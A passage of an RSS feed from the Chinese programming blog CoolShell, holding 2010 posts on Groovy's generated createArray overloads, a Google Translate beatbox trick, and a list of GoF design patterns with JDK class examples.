class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" alt=\"为什么我反对纯算法面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_title\">为什么我反对纯算法面试题</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/4976.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"给程序员新手的一些建议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4976.html\" class=\"wp_rp_title\">给程序员新手的一些建议</a></li><li ><a href=\"https://coolshell.cn/articles/4506.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"再谈“我是怎么招聘程序员的”（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4506.html\" class=\"wp_rp_title\">再谈“我是怎么招聘程序员的”（上）</a></li><li ><a href=\"https://coolshell.cn/articles/4490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"再谈“我是怎么招聘程序员的”（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4490.html\" class=\"wp_rp_title\">再谈“我是怎么招聘程序员的”（下）</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3345.html\">140个Google的面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3345.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>27</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Groovy是怎么实现createArray的</title>\n\t\t<link>https://coolshell.cn/articles/3335.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3335.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 01 Dec 2010 06:08:53 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[createArray]]></category>\n\t\t<category><![CDATA[Groovy]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3335</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Groovy是一个基于 Java虚拟机的敏捷 动态语言。构建在强大的Java语言之上 并 添加了从Python，Ruby和Smalltalk等语言中学到的 诸多...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3335.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3335.html\">Groovy是怎么实现createArray的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://groovy.codehaus.org/\" target=\"_blank\">Groovy</a>是一个基于 Java虚拟机的敏捷 动态语言。构建在强大的Java语言之上 并 添加了从Python，Ruby和Smalltalk等语言中学到的 诸多特征。为Java开发者提供了 现代最流行的编程语言特性，而且学习成本很低（几乎为零）。在以前的酷壳的<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2631.html\">五大基于JVM的脚本语言</a>中也介绍过它。</p>\n<p>下面，让我们看看他的一个createArray的实现，请大家前去围观下面的Groovy的trunk上的源码吧。真是很好很强大。</p>\n<p><a href=\"http://svn.codehaus.org/groovy/trunk/groovy/groovy-core/src/main/org/codehaus/groovy/runtime/ArrayUtil.java\" target=\"_blank\">http://svn.codehaus.org/groovy/trunk/groovy/groovy-core/src/main/org/codehaus/groovy/runtime/ArrayUtil.java</a></p>\n<p>这里摘上前几个createArray重载函数让大家看看，（一共有250个重载函数）</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public class ArrayUtil {\n    ... ...\n    ... ...\n public static Object[] createArray(Object arg0, Object arg1) {\n return new Object[]{\n arg0, arg1};\n }\n\n public static Object[] createArray(Object arg0, Object arg1, Object arg2) {\n return new Object[]{\n arg0, arg1, arg2};\n }\n\n public static Object[] createArray(Object arg0, Object arg1, Object arg2, Object arg3) {\n return new Object[]{\n arg0, arg1, arg2, arg3};\n }\n\n public static Object[] createArray(Object arg0, Object arg1, Object arg2, Object arg3, Object arg4) {\n return new Object[]{\n arg0, arg1, arg2, arg3, arg4};\n }\n\n public static Object[] createArray(Object arg0, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5) {\n return new Object[]{\n arg0, arg1, arg2, arg3, arg4, arg5};\n }\n ... ...\n ... ...\n} </pre>\n<p>这里给了一些<a href=\"http://groovy.329449.n5.nabble.com/Guys-any-explanations-about-this-td3285524.html#a3285676\" target=\"_blank\">解释</a>：</p>\n<p><span id=\"more-3335\"></span></p>\n<ul>\n<li><strong>First</strong>: the package is org.codehaus.groovy.runtime. This is NOT a class that any user of Groovy will ever use. There are plenty of XML utilities in groovy.lang or groovy.xml for you to use.</li>\n<li><strong>Second</strong>: This class is never invoked from code. It exists so that byte code statements have something to link against. If you dump the stack language of a .class file you may indeed see a &#8220;INVOKESTATIC org/codehaus/groovy/runtime/XMLUtil&#8221; invocation. This logic is used around the CallSite writing features.</li>\n<li><strong>Third</strong>: Implementing a dynamic language (Groovy) in a static language (Java) on a type less virtual machine (JVM) is hard. Every language has their work arounds. We generated some code so that we had something to link against. At one point, JRuby was generating reams of interfaces (IIRC) and have you seen the implementation of OpenJDK? Ever notice now many methods are overloaded for all the primitives plus Object. These are all workarounds to get the end user a good programming experience while still running on the JVM.</li>\n</ul>\n<p>大意是：这个类对于Groovy的使用者是不会用到的，也不会被调用到，因为在JVM下实现动态语言是有一定的难度，这算是一个work around。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"语言的数据亲和力\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_title\">语言的数据亲和力</a></li><li ><a href=\"https://coolshell.cn/articles/2631.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"五大基于JVM的脚本语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2631.html\" class=\"wp_rp_title\">五大基于JVM的脚本语言</a></li><li ><a href=\"https://coolshell.cn/articles/1976.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"【问题】传球问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1976.html\" class=\"wp_rp_title\">【问题】传球问题</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/16.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/cccpairprogramming-150x150.jpg\" alt=\"结对编程的利与弊\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/16.html\" class=\"wp_rp_title\">结对编程的利与弊</a></li><li ><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/jail_cell-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（下）</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3335.html\">Groovy是怎么实现createArray的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3335.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>10</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>用Google Translate玩转beat box</title>\n\t\t<link>https://coolshell.cn/articles/3331.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3331.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 01 Dec 2010 02:21:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[beat box]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Google Translate]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3331</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在Reddit上有人发布了怎么使用Google的翻译来玩beat box，很有趣，转过来。 下面是相关步骤： 1) Go to Google Translate...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3331.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3331.html\">用Google Translate玩转beat box</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在<a href=\"http://www.reddit.com/r/todayilearned/comments/ed39q/til_how_to_make_google_beatbox_for_you/\" target=\"_blank\">Reddit</a>上有人发布了怎么使用Google的翻译来玩beat box，很有趣，转过来。</p>\n<p style=\"text-align: center;\">\n<img decoding=\"async\" loading=\"lazy\" title=\"Google 翻译 玩转 Beat box\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/google_beat_box.jpg\" alt=\"\" width=\"500\" height=\"164\" /></p>\n<p>下面是相关步骤：</p>\n<p style=\"text-align: left; padding-left: 30px;\">1) Go to <a href=\"http://translate.google.com/\" target=\"_self\">Google Translate</a></p>\n<p style=\"text-align: left; padding-left: 30px;\">2) 把翻译语言设置成从 German 翻译到 German。（德语）</p>\n<p style=\"text-align: left; padding-left: 30px;\">3) 拷贝粘贴这个字符串到translate中：<br />\npv zk pv pv zk pv zk kz zk pv pv pv zk pv zk zk pzk pzk pvzkpkzvpvzk kkkkkk bsch</p>\n<p style=\"text-align: left; padding-left: 30px;\">4) 把声音开大，点击“朗读”，</p>\n<p>另，如果你在Google里以 &#8220;Google beatbox&#8221; 作为关键词搜索，你会看到 Google Translate出现在最前面的搜索结果中。</p>\n<div></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3331.html\">用Google Translate玩转beat box</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3331.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>JDK里的设计模式</title>\n\t\t<link>https://coolshell.cn/articles/3320.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3320.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 26 Nov 2010 00:44:37 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[design pattern]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[JDK]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3320</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是JDK中有关23个经典设计模式的示例，在stakeoverflow也有相应的讨论： http://stackoverflow.com/questions/...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3320.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3320.html\">JDK里的设计模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是JDK中有关23个经典设计模式的示例，在stakeoverflow也有相应的讨论：<br />\n<a href=\"http://stackoverflow.com/questions/1673841/examples-of-gof-design-patterns\" target=\"_blank\">http://stackoverflow.com/questions/1673841/examples-of-gof-design-patterns</a></p>\n<h4><strong><span style=\"text-decoration: underline;\">Structural（结构模式）</span></strong></h4>\n<div><strong>Adapter:</strong><br />\n把一个接口或是类变成另外一种。</p>\n<ul>\n<li>java.util.Arrays#asList()</li>\n<li>javax.swing.JTable(TableModel)</li>\n<li>java.io.InputStreamReader(InputStream)</li>\n<li>java.io.OutputStreamWriter(OutputStream)</li>\n<li>javax.xml.bind.annotation.adapters.XmlAdapter#marshal()</li>\n<li>javax.xml.bind.annotation.adapters.XmlAdapter#unmarshal()</li>\n</ul>\n<p><strong>Bridge:</strong><br />\n把抽象和实现解藕，于是接口和实现可在完全独立开来。</p>\n<ul>\n<li>AWT (提供了抽象层映射于实际的操作系统)</li>\n<li>JDBC</li>\n</ul>\n<p><strong>Composite:</strong><br />\n让使用者把单独的对象和组合对象混用。</p>\n<ul>\n<li>javax.swing.JComponent#add(Component)</li>\n<li>java.awt.Container#add(Component)</li>\n<li>java.util.Map#putAll(Map)</li>\n<li>java.util.List#addAll(Collection)</li>\n<li>java.util.Set#addAll(Collection)</li>\n</ul>\n</div>\n<p><span id=\"more-3320\"></span></p>\n<div>\n<p><strong>Decorator:</strong><br />\n为一个对象动态的加上一系列的动作，而不需要因为这些动作的不同而产生大量的继承类。这个模式在JDK中几乎无处不在，所以，下面的列表只是一些典型的。</p>\n<ul>\n<li>java.io.BufferedInputStream(InputStream)</li>\n<li>java.io.DataInputStream(InputStream)</li>\n<li>java.io.BufferedOutputStream(OutputStream)</li>\n<li>java.util.zip.ZipOutputStream(OutputStream)</li>\n<li>java.util.Collections#checked[List|Map|Set|SortedSet|SortedMap]()</li>\n</ul>\n<p><strong>Facade:</strong><br />\n用一个简单的接口包状一组组件，接口，抽象或是子系统。</p>\n<ul>\n<li>java.lang.Class</li>\n<li>javax.faces.webapp.FacesServlet</li>\n</ul>\n<p><strong>Flyweight:</strong><br />\n有效率地存储大量的小的对象。</p>\n<ul>\n<li>java.lang.Integer#valueOf(int)</li>\n<li>java.lang.Boolean#valueOf(boolean)</li>\n<li>java.lang.Byte#valueOf(byte)</li>\n<li>java.lang.Character#valueOf(char)</li>\n</ul>\n<p><strong>Proxy:</strong><br />\n用一个简单的对象来代替一个复杂的对象。</p>\n<ul>\n<li>java.lang.reflect.Proxy</li>\n<li>RMI</li>\n</ul>\n</div>\n<div>\n<h4><strong><span style=\"text-decoration: underline;\">Creational（创建模式）</span></strong></h4>\n</div>\n<div><strong> </strong><strong>Abstract factory:</strong><br />\n创建一组有关联的对象实例。这个模式在JDK中也是相当的常见，还有很多的framework例如Spring。我们很容易找到这样的实例。</p>\n<ul>\n<li>java.util.Calendar#getInstance()</li>\n<li>java.util.Arrays#asList()</li>\n<li>java.util.ResourceBundle#getBundle()</li>\n<li>java.sql.DriverManager#getConnection()</li>\n<li>java.sql.Connection#createStatement()</li>\n<li>java.sql.Statement#executeQuery()</li>\n<li>java.text.NumberFormat#getInstance()</li>\n<li>javax.xml.transform.TransformerFactory#newInstance()</li>\n</ul>\n<p><strong>Builder:</strong><br />\n主要用来简化一个复杂的对象的创建。这个模式也可以用来实现一个 <a href=\"http://en.wikipedia.org/wiki/Fluent_interface\" target=\"_blank\">Fluent Interface</a>。</p>\n<ul>\n<li>java.lang.StringBuilder#append()</li>\n<li>java.lang.StringBuffer#append()</li>\n<li>java.sql.PreparedStatement</li>\n<li>javax.swing.GroupLayout.Group#addComponent()</li>\n</ul>\n<p><strong>Factory:</strong><br />\n简单来说，按照需求返回一个类型的实例。</p>\n<ul>\n<li>java.lang.Proxy#newProxyInstance()</li>\n<li>java.lang.Object#toString()</li>\n<li>java.lang.Class#newInstance()</li>\n<li>java.lang.reflect.Array#newInstance()</li>\n<li>java.lang.reflect.Constructor#newInstance()</li>\n<li>java.lang.Boolean#valueOf(String)</li>\n<li>java.lang.Class#forName()</li>\n</ul>\n<p><strong>Prototype:</strong><br />\n使用自己的实例创建另一个实例。有时候，创建一个实例然后再把已有实例的值拷贝过去，是一个很复杂的动作。所以，使用这个模式可以避免这样的复杂性。</p>\n<ul>\n<li>java.lang.Object#clone()</li>\n<li>java.lang.Cloneable</li>\n</ul>\n<p><strong>Singleton:</strong><br />\n只允许一个实例。在 Effective Java中建议使用Emun.</p>\n<ul>\n<li>java.lang.Runtime#getRuntime()</li>\n<li>java.awt.Toolkit#getDefaultToolkit()</li>\n<li>java.awt.GraphicsEnvironment#getLocalGraphicsEnvironment()</li>\n<li>java.awt.Desktop#getDesktop()</li>\n</ul>\n<h4><strong><span style=\"text-decoration: underline;\">Behavioral(行为模式)</span></strong></h4>\n<p><strong>Chain of responsibility:</strong><br />\n把一个对象在一个链接传递直到被处理。在这个链上的所有的对象有相同的接口（抽象类）但却有不同的实现。</p>\n<ul>\n<li>java.util.logging.Logger#log()</li>\n<li>javax.servlet.Filter#doFilter()</li>\n</ul>\n<p><strong>Command:</strong><br />\n把一个或一些命令封装到一个对象中。</p>\n<ul>\n<li>java.lang.Runnable</li>\n<li>javax.swing.Action</li>\n</ul>\n<p><strong>Interpreter:</strong><br />\n一个语法解释器的模式。</p>\n<ul>\n<li>java.util.Pattern</li>\n<li>java.text.Normalizer</li>\n<li>java.text.Format</li>\n</ul>\n<p><strong>Iterator:</strong><br />\n提供一种一致的方法来顺序遍历一个容器中的所有元素。</p>\n<ul>\n<li>java.util.Iterator</li>\n<li>java.util.Enumeration</li>\n</ul>\n<p><strong>Mediator:</strong><br />\n用来减少对象单的直接通讯的依赖关系。使用一个中间类来管理消息的方向。</p>\n<ul>\n<li>java.util.Timer</li>\n<li>java.util.concurrent.Executor#execute()</li>\n<li>java.util.concurrent.ExecutorService#submit()</li>\n<li>java.lang.reflect.Method#invoke()</li>\n</ul>\n<p><strong>Memento:</strong><br />\n给一个对象的状态做一个快照。Date类在内部使用了一个long型来做这个快照。</p>\n<ul>\n<li>java.util.Date</li>\n<li>java.io.Serializable</li>\n</ul>\n<p><strong>Null Object:</strong><br />\n这个模式用来解决如果一个Collection中没有元素的情况。</p>\n<ul>\n<li>java.util.Collections#emptyList()</li>\n<li>java.util.Collections#emptyMap()</li>\n<li>java.util.Collections#emptySet()</li>\n</ul>\n<p><strong>Observer:</strong><br />\n允许一个对象向所有的侦听的对象广播自己的消息或事件。</p>\n<ul>\n<li>java.util.EventListener</li>\n<li>javax.servlet.http.HttpSessionBindingListener</li>\n<li>javax.servlet.http.HttpSessionAttributeListener</li>\n<li>javax.faces.event.PhaseListener</li>\n</ul>\n<p><strong>State:</strong><br />\n这个模式允许你可以在运行时很容易地根据自身内部的状态改变对象的行为。</p>\n<ul>\n<li>java.util.Iterator</li>\n<li>javax.faces.lifecycle.LifeCycle#execute()</li>\n</ul>\n<p><strong>Strategy:</strong><br />\n定义一组算法，并把其封装到一个对象中。然后在运行时，可以灵活的使用其中的一个算法。</p>\n<ul>\n<li>java.util.Comparator#compare()</li>\n<li>javax.servlet.http.HttpServlet</li>\n<li>javax.servlet.Filter#doFilter()</li>\n</ul>\n<p><strong>Template method:</strong><br />\n允许子类重载部分父类而不需要完全重写。</p>\n<ul>\n<li>java.util.Collections#sort()</li>\n<li>java.io.InputStream#skip()</li>\n<li>java.io.InputStream#read()</li>\n<li>java.util.AbstractList#indexOf()</li>\n</ul>\n<p><strong>Visitor:</strong></p>\n<p>作用于某个对象群中各个对象的操作. 它可以使你在不改变这些对象本身的情况下,定义作用于这些对象的新操作.</p>\n<ul>\n<li>javax.lang.model.element.Element 和javax.lang.model.element.ElementVisitor</li>\n<li>javax.lang.model.type.TypeMirror 和javax.lang.model.type.TypeVisitor</li>\n</ul>\n<p>（全文完）</p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3320.html\">JDK里的设计模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 